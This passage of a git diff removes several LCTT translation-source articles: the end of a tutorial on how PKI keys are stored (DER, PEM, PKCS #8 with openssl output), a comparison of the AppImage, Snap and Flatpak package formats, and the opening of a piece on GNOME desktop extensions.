the left side of the output? What does "h=4" and "l=513" mean? We'll cover that shortly. - -### DERangement - -We've seen the "abstract" part of Abstract Syntax Notation One, but how does this data get encoded and stored? For that, we turn to a binary format called Distinguished Encoding Rules (DER) defined in the [X.690][15] specification. DER is a stricter version of its parent, Basic Encoding Rules (BER), in that for any given data, there is only one way to encode it. If we're going to be digitally signing data, it makes things a lot easier if there is only one possible encoding that needs to be signed instead of dozens of functionally equivalent representations. - -DER uses a [tag-length-value][16] (TLV) structure. The encoding of a piece of data begins with an identifier octet defining the data's type. ("Octet" is used rather than "byte" since the standard is very old and some early architectures didn't use 8 bits for a byte.) Next are the octets that encode the length of the data, and finally, there is the data. The data can be another TLV series. The left side of the **asn1parse** output makes a little more sense now. The first number indicates the absolute offset from the beginning. The "d=" tells us the depth of that item in the structure. The first line is a sequence, which we descend into on the next line (the depth _d_ goes from 0 to 1) whereupon **asn1parse** begins enumerating all the elements in that sequence. The "hl=" is the header length (the sum of the identifier and length octets), and the "l=" tells us the length of that particular piece of data. - -How is header length determined? It's the sum of the identifier byte and the bytes encoding the length. In our example, the top sequence is 2344 octets long. If it were less than 128 octets, the length would be encoded in a single octet in the "short form": bit 8 would be a zero and bits 7 to 1 would hold the length value ( **2 7-1=127**). A value of 2344 needs more space, so the "long" form is used. The first octet has bit 8 set to one, and bits 7 to 1 contain the length of the length. In our case, a value of 2344 can be encoded in two octets (0x0928). Combined with the first "length of the length" octet, we have three octets total. Add the one identifier octet, and that gives us our total header length of four. - -As a side exercise, let's consider the largest value we could possibly encode. We've seen that we have up to 127 octets to encode a length. At 8 bits per octet, we have a total of 1008 bits to use, so we can hold a number equal to **2 1008-1**. That would equate to a content length of **2.743062*10 279** yottabytes, staggeringly more than the estimated **10 80** atoms in the observable universe. If you're interested in all the details, I recommend reading "[A Layman's Guide to a Subset of ASN.1, BER, and DER][17]." - -What about "cons" and "prim"? Those indicate whether the value is encoded with "constructed" or "primitive" encoding. Primitive encoding is used for simple types like "INTEGER" or "BOOLEAN," while constructed encoding is used for structured types like "SEQUENCE" or "SET." The actual difference between the two encoding methods is whether bit 6 in the identifier octet is a zero or one. If it's a one, the parser knows that the content octets are also DER-encoded and it can descend. - -### PEM pals - -While useful in a lot of cases, a binary format won't pass muster if we need to display the data as text. Before the [MIME][18] standard existed, attachment support was spotty. Commonly, if you wanted to attach data, you put it in the body of the email, and since SMTP only supported ASCII, that meant converting your binary data (like the DER of your public key, for example) into ASCII characters. - -Thus, the PEM format emerged. PEM stands for "Privacy-Enhanced Email" and was an early standard for transmitting and storing PKI data. The standard never caught on, but the format it defined for storage did. PEM-encoded objects are just DER objects that are [base64][19]-encoded and wrapped at 64 characters per line. To describe the type of object, a header and footer surround the base64 string. You'll see **\-----BEGIN CERTIFICATE-----** or **\-----BEGIN PRIVATE KEY-----** , for example. - -Often you'll see files with the ".pem" extension. I don't find this suffix useful. The file could contain a certificate, a key, a certificate signing request, or several other possibilities. Imagine going to a sushi restaurant and seeing a menu that described every item as "fish and rice"! Instead, I prefer more informative extensions like ".crt", ".key", and ".csr". - -### The PKCS zoo - -Earlier, I showed an example of a PKCS #1-formatted RSA key. As you might expect, formats for storing certificates and signing requests also exist in various IETF RFCs. For example, PKCS #8 can be used to store private keys for many different algorithms (including RSA!). Here's some of the ASN.1 from [RFC 5208][20] for PKCS #8. (RFC 5208 has been obsoleted by RFC 5958, but I feel that the ASN.1 in RFC 5208 is easier to understand.) - - -``` -PrivateKeyInfo ::= SEQUENCE { -version Version, -privateKeyAlgorithm PrivateKeyAlgorithmIdentifier, -privateKey PrivateKey, -attributes [0] IMPLICIT Attributes OPTIONAL } - -Version ::= INTEGER - -PrivateKeyAlgorithmIdentifier ::= AlgorithmIdentifier - -PrivateKey ::= OCTET STRING - -Attributes ::= SET OF Attribute -``` - -If you store your RSA private key in a PKCS #8, the PrivateKey element will actually be a DER-encoded PKCS #1! Let's prove it. Remember earlier when I used **genrsa** to generate a PKCS #1? OpenSSL can generate a PKCS #8 with the **genpkey** command, and you can specify RSA as the algorithm to use. - - -``` -% openssl genpkey -algorithm RSA | openssl asn1parse -0:d=0 hl=4 l= 629 cons: SEQUENCE -4:d=1 hl=2 l= 1 prim: INTEGER :00 -7:d=1 hl=2 l= 13 cons: SEQUENCE -9:d=2 hl=2 l= 9 prim: OBJECT :rsaEncryption -20:d=2 hl=2 l= 0 prim: NULL -22:d=1 hl=4 l= 607 prim: OCTET STRING [HEX DUMP]:3082025B... -``` - -You may have spotted the "OBJECT" in the output and guessed that was related to OIDs. You'd be correct. The OID "1.2.840.113549.1.1.1" is assigned to RSA encryption. OpenSSL has a built-in list of common OIDs and translates them into a human-readable form for you. - - -``` -% openssl genpkey -algorithm RSA | openssl asn1parse -strparse 22 -0:d=0 hl=4 l= 604 cons: SEQUENCE -4:d=1 hl=2 l= 1 prim: INTEGER :00 -7:d=1 hl=3 l= 129 prim: INTEGER :CA6720E706... -139:d=1 hl=2 l= 3 prim: INTEGER :010001 -144:d=1 hl=3 l= 128 prim: INTEGER :05D0BEBE44... -275:d=1 hl=2 l= 65 prim: INTEGER :F215DC6B77... -342:d=1 hl=2 l= 65 prim: INTEGER :D6095CED7E... -409:d=1 hl=2 l= 64 prim: INTEGER :402C7562F3... -475:d=1 hl=2 l= 64 prim: INTEGER :06D0097B2D... -541:d=1 hl=2 l= 65 prim: INTEGER :AB266E8E51... -``` - -In the second command, I've told **asn1parse** via the **-strparse** argument to move to octet 22 and begin parsing the content's octets there as an ASN.1 object. We can clearly see that the PKCS #8's PrivateKey looks just like the PKCS #1 that we examined earlier. - -You should favor using the **genpkey** command. PKCS #8 has some features that PKCS #1 does not: PKCS #8 can store private keys for multiple different algorithms (PKCS #1 is RSA-specific), and it provides a mechanism to encrypt the private key using a passphrase and a symmetric cipher. - -Encrypted PKCS #8 objects use a different ASN.1 syntax that I'm not going to dive into, but let's take a look at an actual example and see if anything stands out. Encrypting a private key with **genpkey** requires that you specify the symmetric encryption algorithm to use. I'll use AES-256-CBC for this example and a password of "hello" (the "pass:" prefix is the way of telling OpenSSL that the password is coming in from the command line). - - -``` -% openssl genpkey -algorithm RSA -aes-256-cbc -pass pass:hello | openssl asn1parse -0:d=0 hl=4 l= 733 cons: SEQUENCE -4:d=1 hl=2 l= 87 cons: SEQUENCE -6:d=2 hl=2 l= 9 prim: OBJECT :PBES2 -17:d=2 hl=2 l= 74 cons: SEQUENCE -19:d=3 hl=2 l= 41 cons: SEQUENCE -21:d=4 hl=2 l= 9 prim: OBJECT :PBKDF2 -32:d=4 hl=2 l= 28 cons: SEQUENCE -34:d=5 hl=2 l= 8 prim: OCTET STRING [HEX DUMP]:17E6FE554E85810A -44:d=5 hl=2 l= 2 prim: INTEGER :0800 -48:d=5 hl=2 l= 12 cons: SEQUENCE -50:d=6 hl=2 l= 8 prim: OBJECT :hmacWithSHA256 -60:d=6 hl=2 l= 0 prim: NULL -62:d=3 hl=2 l= 29 cons: SEQUENCE -64:d=4 hl=2 l= 9 prim: OBJECT :aes-256-cbc -75:d=4 hl=2 l= 16 prim: OCTET STRING [HEX DUMP]:91E9536C39... -93:d=1 hl=4 l= 640 prim: OCTET STRING [HEX DUMP]:98007B264F... - -% openssl genpkey -algorithm RSA -aes-256-cbc -pass pass:hello | head -n 1 -\-----BEGIN ENCRYPTED PRIVATE KEY----- -``` - -There are a couple of interesting items here. We see our encryption algorithm is recorded with an OID starting at octet 64. There's an OID for "PBES2" (Password-Based Encryption Scheme 2), which defines a standard process for encryption and decryption, and an OID for "PBKDF2" (Password-Based Key Derivation Function 2), which defines a standard process for creating encryption keys from passwords. Helpfully, OpenSSL uses the header "ENCRYPTED PRIVATE KEY" in the PEM output. - -OpenSSL will let you encrypt a PKCS #1, but it's done in a non-standard way via a series of headers inserted into the PEM: - - -``` -% openssl genrsa -aes256 -passout pass:hello 4096 -\-----BEGIN RSA PRIVATE KEY----- -Proc-Type: 4,ENCRYPTED -DEK-Info: AES-256-CBC,5B2C64DC05B7C0471A278C76562FD776 -... -``` - -### In conclusion - -There's a final PKCS format you need to know about: [PKCS #12][21]. The PKCS #12 format allows for storing multiple objects all in one file. If you have a certificate and its corresponding key or a chain of certificates, you can store them together in one PKCS #12 file. Individual entries in the file can be protected with password-based encryption. - -Beyond the PKCS formats, there are other storage methods such as the Java-specific JKS format and the NSS library from Mozilla, which uses file-based databases (SQLite or Berkeley DB, depending on the version). Luckily, the PKCS formats are a lingua franca that can serve as a start or reference if you need to deal with other formats. - -If this all seems confusing, that's because it is. Unfortunately, the PKI ecosystem has a lot of sharp edges between tools that generate enigmatic error messages (looking at you, OpenSSL) and standards that have grown and evolved over the past 35 years. Having a basic understanding of how PKI objects are stored is critical if you're doing any application development that will be accessed over SSL/TLS. - -I hope this article has shed a little light on the subject and might save you from spending fruitless hours in the PKI wilderness. - -* * * - -_The author would like to thank Hubert Kario for providing a technical review._ - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/19/6/bits-and-bytes-pki - -作者:[Alex Wood][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/awood -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/keyboaord_enter_writing_documentation.jpg?itok=kKrnXc5h (Computer keyboard typing) -[2]: https://opensource.com/article/18/5/cryptography-pki -[3]: https://opensource.com/article/18/7/private-keys -[4]: https://en.wikipedia.org/wiki/Abstract_Syntax_Notation_One -[5]: https://en.wikipedia.org/wiki/ISO_8601 -[6]: https://en.wikipedia.org/wiki/ITU_T.61 -[7]: https://en.wikipedia.org/wiki/Teletex -[8]: https://en.wikipedia.org/wiki/UTF-32 -[9]: https://www.itu.int/itu-t/recommendations/rec.aspx?rec=X.680 -[10]: https://www.alvestrand.no/objectid/1.3.6.1.4.1.2312.html -[11]: https://tools.ietf.org/html/rfc8017 -[12]: https://linux.die.net/man/1/asn1parse -[13]: https://www.johndcook.com/blog/2018/12/12/rsa-exponent/ -[14]: https://www.youtube.com/watch?v=NcPdiPrY_g8 -[15]: https://en.wikipedia.org/wiki/X.690 -[16]: https://en.wikipedia.org/wiki/Type-length-value -[17]: http://luca.ntop.org/Teaching/Appunti/asn1.html -[18]: https://www.theguardian.com/technology/2012/mar/26/ather-of-the-email-attachment -[19]: https://en.wikipedia.org/wiki/Base64 -[20]: https://tools.ietf.org/html/rfc5208 -[21]: https://tools.ietf.org/html/rfc7292 diff --git a/sources/tech/20190624 Linux Package Managers Compared - AppImage vs Snap vs Flatpak.md b/sources/tech/20190624 Linux Package Managers Compared - AppImage vs Snap vs Flatpak.md deleted file mode 100644 index df5686d0a5..0000000000 --- a/sources/tech/20190624 Linux Package Managers Compared - AppImage vs Snap vs Flatpak.md +++ /dev/null @@ -1,222 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Linux Package Managers Compared – AppImage vs Snap vs Flatpak) -[#]: via: (https://www.ostechnix.com/linux-package-managers-compared-appimage-vs-snap-vs-flatpak/) -[#]: author: (editor https://www.ostechnix.com/author/editor/) - -Linux Package Managers Compared – AppImage vs Snap vs Flatpak -====== - -![3 Linux Package Managers Compared][1] - -**Package managers** provide a way of packaging, distributing, installing, and maintaining apps in an operating system. With modern desktop, server and IoT applications of the Linux operating system and the hundreds of different distros that exist, it becomes necessary to move away from platform specific packaging methods to platform agnostic ones. This post explores 3 such tools, namely **AppImage** , **Snap** and **Flatpak** , that each aim to be the future of software deployment and management in Linux. At the end we summarize a few key findings. - -### 1\. AppImage - -**AppImage** follows a concept called **“One app = one file”**. This is to be understood as an AppImage being a regular independent “file” containing one application with everything it needs to run in the said file. Once made executable, the AppImage can be run like any application in a computer by simply double-clicking it in the users file system.[1] - -It is a format for creating portable software for Linux without requiring the user to install the said application. The format allows the original developers of the software (upstream developers) to create a platform and distribution independent (also called a distribution-agnostic binary) version of their application that will basically run on any flavor of Linux. - -AppImage has been around for a long time. **Klik** , a predecessor of AppImage was created by **Simon Peter** in 2004. The project was shut down in 2011 after not having passed the beta stage. A project named **PortableLinuxApps** was created by Simon around the same time and the format was picked up by a few portals offering software for Linux users. The project was renamed again in 2013 to its current name AppImage and a repository has been maintained in GitHub (project [link][2]) with all the latest changes to the same since 2018.[2][3] - -Written primarily in **C** and donning the **MIT license** since 2013, AppImage is currently developed by **The AppImage project**. It is a very convenient way to use applications as demonstrated by the following features: - - 1. AppImages can run on virtually any Linux system. As mentioned before applications derive a lot of functionality from the operating system and a few common libraries. This is a common practice in the software world since if something is already done, there is no point in doing it again if you can pick and choose which parts from the same to use. The problem is that many Linux distros might not have all the files a particular application requires to run since it is left to the developers of that particular distro to include the necessary packages. Hence developers need to separately include the dependencies of the application for each Linux distro they are publishing their app for. Using the AppImage format developers can choose to include all the libraries and files that they cannot possibly hope the target operating system to have as part of the AppImage file. Hence the same AppImage format file can work on different operating systems and machines without needing granular control. - 2. The one app one file philosophy means that user experience is simple and elegant in that users need only download and execute one file that will serve their needs for using the application. - 3. **No requirement of root access**. System administrators will require people to have root access to stop them from messing with computers and their default setup. This also means that people with no root access or super user privileges cannot install the apps they need as they please. The practice is common in a public setting (such as library or university computers or on enterprise systems). The AppImage file does not require users to “install” anything and hence users need only download the said file and **make it executable** to start using it. This removes the access dilemmas that system administrators have and makes their job easier without sacrificing user experience. - 4. **No effect on core operating system**. The AppImage-application format allows using applications with their full functionality without needing to change or even access most system files. Meaning whatever the applications do, the core operating system setup and files remain untouched. - 5. An AppImage can be made by a developer for a particular version of their application. Any updated version is made as a different AppImage. Hence users if need be can **test multiple versions of the same application** by running different instances using different AppImages. This is an invaluable feature when you need to test your applications from an end-user POV to notice differences. - 6. Take your applications where you go. As mentioned previously AppImages are archived files of all the files that an application requires and can be used without installing or even bothering about the distribution the system uses. Hence if you have a set of apps that you use regularly you may even mount a few AppImage files on a thumb drive and take it with you to use on multiple computers running multiple different distros without worrying whether they’ll work or not. - - - -Furthermore, the **AppImageKit** allows users from all backgrounds to build their own AppImages from applications they already have or for applications that are not provided an AppImage by their upstream developer. - -The package manager is platform independent but focuses primarily on software distribution to end users on their desktops with a dedicated daemon **AppImaged** for integrating the AppImage formats into respective desktop environments. AppImage is supported natively now by a variety of distros such as Ubuntu, Debian, openSUSE, CentOS, Fedora etc. and others may set it up as per their needs. AppImages can also be run on servers with limited functionality via the CLI tools included. - -To know more about AppImages, go to the official [**AppImage documentation**][3] page. - -* * * - -**Suggested read:** - - * [**Search Linux Applications On AppImage, Flathub And Snapcraft Platforms**][4] - - - -* * * - -### 2\. Snappy - -**Snappy** is a software deployment and package management system like AppImage or any other package manager for that instance. It is originally designed for the now defunct **Ubuntu Touch** Operating system. Snappy lets developers create software packages for use in a variety of Linux based distributions. The initial intention behind creating Snappy and deploying **“snaps”** on Ubuntu based systems is to obtain a unified single format that could be used in everything from IoT devices to full-fledged computer systems that ran some version of Ubuntu and in a larger sense Linux itself.[4] - -The lead developer behind the project is **Canonical** , the same company that pilots the Ubuntu project. Ubuntu had native snap support from version 16.04 LTS with more and more distros supporting it out of the box or via a simple setup these days. If you use Arch or Debian or openSUSE you’ll find it easy to install support for the package manager using simple commands in the terminal as explained later in this section. This is also made possible by making the necessary snap platform files available on the respective repos.[5] - -Snappy has the following important components that make up the entire package manager system.[6] - - * **Snap** – is the file format of the packages themselves. Individual applications that are deployed using Snappy are called “Snaps”. Any application may be packaged using the tools provided to make a snap that is intended to run on a different system running Linux. Snap, similar to AppImage is an all-inclusive file and contains all dependencies the application needs to run without assuming them to part of the target system. - * **Snapcraft** – is the tool that lets developers make snaps of their applications. It is basically a command that is part of the snap system as well as a framework that will let you build your own snaps. - * **Snapd** – is the background daemon that maintains all the snaps that are installed in your system. It integrates into the desktop environment and manages all the files and processes related to working with snaps. The snapd daemon also checks for updates normally **4 times a day** unless set otherwise. - * [**Snap Store**][5] – is an online gallery of sorts that lets developers upload their snaps into the repository. Snap store is also an application discovery medium for users and will let users see and experience the application library before downloading and installing them. - - - -The snapd component is written primarily in **C** and **Golang** whereas the Snapcraft framework is built using **Python**. Although both the modules use the GPLv3 license it is to be noted that snapd has proprietary code from Canonical for its server-side operations with just the client side being published under the GPL license. This is a major point of contention with developers since this involves developers signing a CLA form to participate in snap development.[7] - -Going deeper into the finer details of the Snappy package manager the following may be noted: - - 1. Snaps as noted before are all inclusive and contain all the necessary files (dependencies) that the application needs to run. Hence, developers need not to make different snaps for the different distros that they target. Being mindful of the runtimes is all that’s necessary if base runtimes are excluded from the snap. - 2. Snappy packages are meant to support transactional updates. Such a transactional update is atomic and fully reversible, meaning you can use the application while its being updated and that if an update does not behave the way its supposed to, you can reverse the same with no other effects whatsoever. The concept is also called as **delta programming** in which only changes to the application are transmitted as an update instead of the whole package. An Ubuntu derivative called **Ubuntu Core** actually promises the snappy update protocol to the OS itself.[8] - 3. A key point of difference between snaps and AppImages, is how they handle version differences. Using AppImages different versions of the application will have different AppImages allowing you to concurrently use 2 or more different versions of the same application at the same time. However, using snaps means conforming to the transactional or delta update system. While this means faster updates, it keeps you from running two instances of the same application at the same time. If you need to use the old version of an app you’ll need to reverse or uninstall the new version. Snappy does support a feature called [**“parallel install”**][6] which will let users accomplish similar goals, however, it is still in an experimental stage and cannot be considered to be a stable implementation. Snappy also makes use of channels meaning you can use the beta or the nightly build of an app and the stable version at the same time.[9] - 4. Extensive support from major Linux distros and major developers including Google, Mozilla, Microsoft, etc.[4] - 5. Snapd the desktop integration tool supports taking **“snapshots”** of the current state of all the installed snaps in the system. This will let users save the current configuration state of all the applications that are installed via the Snappy package manager and let users revert to that state whenever they desire so. The same feature can also be set to automatically take snapshots at a frequency deemed necessary by the user. Snapshots can be created using the **snap save command** in the snapd framework.[10] - 6. Snaps are designed to be sandboxed during operation. This provides a much-required layer of security and isolation to users. Users need not worry about snap-based applications messing with the rest of the software on their computer. Sandboxing is implemented using three levels of isolation viz, **classic** , **strict** and **devmode**. Each level of isolation allows the app different levels of access within the file system and computer.[11] - - - -On the flip side of things, snaps are widely criticized for being centered around **Canonical’s modus operandi**. Most of the commits to the project are by Canonical employees or contractors and other contributors are required to sign a release form (CLA). The sandboxing feature, a very important one indeed from a security standpoint, is flawed in that the sandboxing actually requires certain other core services to run (such as Mir) while applications running the X11 desktop won’t support the said isolation, hence making the said security feature irrelevant. Questionable press releases and other marketing efforts from Canonical and the “central” and closed app repository are also widely criticized aspects of Snappy. Furthermore, the file sizes of the different snaps are also **comparatively very large** compared to the app sizes of the packages made using AppImage.[7] - -For more details, check [**Snap official documentation**][7]. - -* * * - -**Related read:** - - * [**Install Snap packages in Arch Linux, and Fedora**][8] - - - -* * * - -### 3\. Flatpak - -Like the Snap/Snappy listed above, **Flatpak** is also a software deployment tool that aims to ease software distribution and use in Linux. Flatpak was previously known as **“xdg-app”** and was based on concept proposed by **Lennart Poettering** in 2004. The idea was to contain applications in a secure virtual sandbox allowing for using applications **without the need of root privileges** and without compromising on the systems security. **Alex** started tinkering with Klik (thought to be a former version of AppImage) and wanted to implement the concept better. **Alexander Larsson** who at the time was working with Red Hat wrote an implementation called xdg-app in 2015 that acted as a pre-cursor to the current Flatpak format. - -Flatpak officially came out in 2016 with backing from Red Hat, Endless Computers and Collabora. **Flathub** is the official repository of all Flatpak application packages. At its surface Flatpak like the other is a framework for building and packaging distribution agnostic applications for Linux. It simply requires the developers to conform to a few desktop environment guidelines in order for the application to be successfully integrated into the Flatpak environment. - -Targeted primarily at the three popular desktop implementations **FreeDesktop** , **KDE** , and **GNOME** , the Flatpak framework itself is written in **C** and works on a **LGPL** license. The maintenance repository can be accessed via the GitHub link **[here][9]**. - -A few features of Flatpak that make it stand apart are mentioned below. Notice that features Flatpak shares with AppImage and Snappy are omitted here. - - * Deep integration into popular Linux desktop environments such as GNOME & KDE so that users can simply use Flatpaks using Graphical software management tools instead of resorting to the terminal. Flatpak can be installed from the default repositories of major desktop environments now and once the apps themselves are set-up they can be used and provide features similar to normal desktop applications.[12][13] - * **Forward-compatibility** – Flatpaks are built from the ground up keeping the operating systems core kernel and runtimes in mind. Hence, even if you upgrade or update your distro the Flatpaks you have should still work unless there is a core update. This is especially crucial for people who prefer staying on rolling betas or development versions of their distros. For such people, since the kinks of the OS itself isn’t ironed out usually, the Flatpak application will run seamlessly without having to depend on the OS files or libraries for its operation.[13] - * **Sandboxing using Bubblewrap** – snaps are also by default sandboxed in that they run in isolation from the rest of the applications running while you’re using your computer. However, Flatpaks fully seal the application from accessing OS files and user files during its operation by default. This essentially means that system administrators can be certain that Flatpaks that are installed in their systems cannot exploit the computer and the files it contains whereas for end users this will mean that in order to access a few specific functions or user data root permission is required.[14] - * Flatpak supports decentralized distribution of application natively however the team behind Flatpak still maintains a central online repository of apps/Flatpaks called **Flathub**. Users may in fact configure Flatpak to use multiple remote repositories as they see necessary. As opposed to snap you can have multiple repositories.[13] - * Modular access through the sandbox. Although this capability comes at a great potential cost to the integrity of the system, Flatpak framework allows for channels to be created through the sandbox for exchange of specific information from within the sandbox to the host system or vice versa. The channel is in this case referred to as a portal. A con to this feature is discussed later in the section.[14] - - - -One of the most criticized aspects of Flatpak however is it’s the sandbox feature itself. Sandboxing is how package managers such as Snappy and Flatpak implement important security features. Sandboxing essentially isolates the application from everything else in the system only allowing for user defined exchange of information from within the sandbox to outside. The flaw with the concept being that the sandbox cannot be inherently impregnable. Data has to be eventually transferred between the two domains and simple Linux commands can simply get rid of the sandbox restriction meaning that malicious applications might potentially jump out of the said sandbox.[15] - -This combined with the worse than expected commitment to rolling out security updates for Flatpak has resulted in widespread criticism of the team’s tall claim of providing a secure framework. The blog (named **flatkill** ) linked at the end of this guide in fact mentions a couple of exploits that were not addressed by the Flatpak team as soon as they should’ve been.[15] - -For more details, I suggest you to read [**Flatpak official documentation**][10]. - -* * * - -**Related read:** - - * [**A Beginners Guide To Flatpak**][11] - - - -* * * - -### AppImage vs Snap vs Flatpak - -The table attached below summarizes all the above findings into a concise and technical comparison of the three frameworks. - -**Feature** | **AppImage** | **Snappy** | **Flatpak** ----|---|---|--- -**Unique feature** | Not an appstore or repository, its simply put a packaging format for software distribution. | Led by Canonical (Same company as Ubuntu), features central app repository and active contribution from Canonical. | Features an app store called FlatHub, however, individuals may still host packages and distribute it. -**Target system** | Desktops and Servers. | Desktops, Servers, IoT devices, Embedded devices etc. | Desktops and limited function on servers. -**Libraries/Dependencies** | Base system. Runtimes optional, Libraries and other dependencies packaged. | Base system or via Plugins or can be packaged. | GNOME, KDE, Freedesktop bundled or custom bundled. -**Developers** | Community Driven led by Simon Peter. | Corporate driven by Canonical Ltd. | Community driven by flatpak team supported by enterprise. -**Written in** | C. | Golang, C and Python. | C. -**Initial release** | 2004. | 2014. | 2015. -**Sandboxing** | Can be implemented. | 3 modes – strict, classic, and devmode with varying confinement capabilities. Runs in isolation. | Isolated but Uses system files to run applications by default. -**Sandboxing Platform** | Firejail, AppArmor, Bubblewrap. | AppArmor. | Bubblewrap. -**App Installation** | Not necessary. Will act as self mounted disc. | Installation using snapd. | Installed using flatpak client tools. -**App Execution** | Can be run after setting executing bit. | Using desktop integrated snap tools. Runs isolated with user defined resources. | Needs to be executed using flatpak command if CLI is used. -**User Privileges** | Can be run w/o root user access. | Can be run w/o root user access. | Selectively required. -**Hosting Applications** | Can be hosted anywhere by anybody. | Has to be hosted with Canonical servers which are proprietary. | Can be hosted anywhere by anybody. -**Portable Execution from non system locations** | Yes. | No. | Yes, after flatpak client is configured. -**Central Repository** | AppImageHub. | Snap Store. | Flathub. -**Running multiple versions of the app** | Possible, any number of versions simultaneously. | One version of the app in one channel. Has to be separately configured for more. | Yes. -**Updating applications** | Using CLI command AppImageUpdate or via an updater tool built into the AppImage. | Requires snapd installed. Supports delta updating, will automatically update. | Required flatpak installed. Update Using flatpak update command. -**Package sizes on disk** | Application remains archived. | Application remains archived. | Client side is uncompressed. - -Here is a long tabular comparison of AppImage vs. Snap vs. Flatpak features. Please note that the comparison is made from an AppImage perspective. - - * [**https://github.com/AppImage/AppImageKit/wiki/Similar-projects#comparison**][12] - - - -### Conclusion - -While all three of these platforms have a lot in common with each other and aim to be platform agnostic in approach, they offer different levels of competencies in a few areas. While Snaps can run on a variety of devices including embedded ones, AppImages and Flatpaks are built with the desktop user in mind. AppImages of popular applications on the other had have superior packaging sizes and portability whereas Flatpak really shines with its forward compatibility when its used in a set it and forget it system. - -If there are any flaws in this guide, please let us know in the comment section below. We will update the guide accordingly. - -**References:** - - * **[1]** [**Concepts — AppImage documentation**][13] - * **[2]** [**Slashdot – Point-and-klik Linux Software Installation**][14] - * **[3]** [**History of AppImage project**][15] - * **[4][Snapcraft – Snaps are universal Linux packages][16]** - * **[5][Installing snapd – Snap documentation][17]** - * **[6][Snap documentation][7]** - * **[7][On Snappy and Flatpak: business as usual in the Canonical propaganda department][18]** - * **[8][Snap Updates are getting smaller, here’s why][19]** - * **[9][What Are Linux Snap Packages? Why Use Them?][20]** - * **[10][Snapshots – Snap documentation][21]** - * **[11][Snap confinement – Snap documentation][22]** - * **[12][Desktop Integration – Flatpak documentation][23]** - * **[13][Introduction to Flatpak – Flatpak documentation][24]** - * **[14][Sandbox Permissions – Flatpak documentation][25]** - * **[15][Flatpak – a security nightmare][26]** - - - --------------------------------------------------------------------------------- - -via: https://www.ostechnix.com/linux-package-managers-compared-appimage-vs-snap-vs-flatpak/ - -作者:[editor][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://www.ostechnix.com/author/editor/ -[b]: https://github.com/lujun9972 -[1]: https://www.ostechnix.com/wp-content/uploads/2019/06/Linux-Package-Managers-Compared-1-720x340.png -[2]: https://github.com/AppImage/AppImageKit/blob/master/README.md -[3]: https://docs.appimage.org/ -[4]: https://www.ostechnix.com/search-linux-applications-on-appimage-flathub-and-snapcraft-platforms/ -[5]: https://snapcraft.io/store -[6]: https://blog.ubuntu.com/2019/06/20/parallel-installs-test-and-run-multiple-instances-of-snaps -[7]: https://docs.snapcraft.io/ -[8]: https://www.ostechnix.com/install-snap-packages-arch-linux-fedora/ -[9]: https://github.com/flatpak/flatpak -[10]: http://docs.flatpak.org/en/latest/index.html -[11]: https://www.ostechnix.com/flatpak-new-framework-desktop-applications-linux/ -[12]: https://github.com/AppImage/AppImageKit/wiki/Similar-projects#comparison -[13]: https://docs.appimage.org/introduction/concepts.html#one-app-one-file. -[14]: https://linux.slashdot.org/story/05/01/15/1815210/point-and-klik-linux-software-installation -[15]: https://github.com/AppImage/AppImageKit/wiki/History#timeline. -[16]: https://snapcraft.io/# -[17]: https://docs.snapcraft.io/installing-snapd -[18]: https://www.happyassassin.net/2016/06/16/on-snappy-and-flatpak-business-as-usual-in-the-canonical-propaganda-department/ -[19]: https://blog.ubuntu.com/2017/08/01/snap-updates-are-getting-smaller-heres-why -[20]: https://www.feliciano.tech/blog/what-are-linux-snap-packages-why-use-them/ -[21]: https://docs.snapcraft.io/snapshots -[22]: https://docs.snapcraft.io/snap-confinement -[23]: http://docs.flatpak.org/en/latest/desktop-integration.html?highlight=desktop%20integration -[24]: http://docs.flatpak.org/en/latest/introduction.html -[25]: http://docs.flatpak.org/en/latest/sandbox-permissions.html?highlight=sandboxing -[26]: https://flatkill.org/ diff --git a/sources/tech/20190815 12 extensions for your GNOME desktop.md b/sources/tech/20190815 12 extensions for your GNOME desktop.md deleted file mode 100644 index 307cac4ebe..0000000000 --- a/sources/tech/20190815 12 extensions for your GNOME desktop.md +++ /dev/null @@ -1,130 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (12 extensions for your GNOME desktop) -[#]: via: (https://opensource.com/article/19/8/extensions-gnome-desktop) -[#]: author: (Alan Formy-Duval https://opensource.com/users/alanfdosshttps://opensource.com/users/erezhttps://opensource.com/users/alanfdosshttps://opensource.com/users/patrickhttps://opensource.com/users/liamnairn) - -12 extensions for your GNOME desktop -====== -Add functionality and features to your Linux desktop with these add-ons. -![A person working.][1] - -The GNOME desktop is the default graphical user interface for most of the popular Linux distributions and some of the BSD and Solaris operating systems. Currently at version 3, GNOME provides a sleek user experience, and extensions are available for additional functionality. - -We've covered [GNOME extensions][2] at Opensource.com before, but to celebrate GNOME's 22nd anniversary, I decided to revisit the topic. Some of these extensions may already be installed, depending on your Linux distribution; if not, check your package manager. - -### How to add extensions from the package manager - -To install extensions that aren't in your distro, open the package manager and click **Add-ons**. Then click **Shell Extensions** at the top-right of the Add-ons screen, and you will see a button for **Extension Settings** and a list of available extensions. - -![Package Manager Add-ons Extensions view][3] - -Use the Extension Settings button to enable, disable, or configure the extensions you have installed. - -Now that you know how to add and enable extensions, here are some good ones to try. - -## 1\. GNOME Clocks - -[GNOME Clocks][4] is an application that includes a world clock, alarm, stopwatch, and timer. You can configure clocks for different geographic locations. For example, if you regularly work with colleagues in another time zone, you can set up a clock for their location. You can access the World Clocks section in the top panel's drop-down menu by clicking the system clock. It shows your configured world clocks (not including your local time), so you can quickly check the time in other parts of the world. - -## 2\. GNOME Weather - -[GNOME Weather][5] displays the weather conditions and forecast for your current location. You can access local weather conditions from the top panel's drop-down menu. You can also check the weather in other geographic locations using Weather's Places menu. - -GNOME Clocks and Weather are small applications that have extension-like functionality. Both are installed 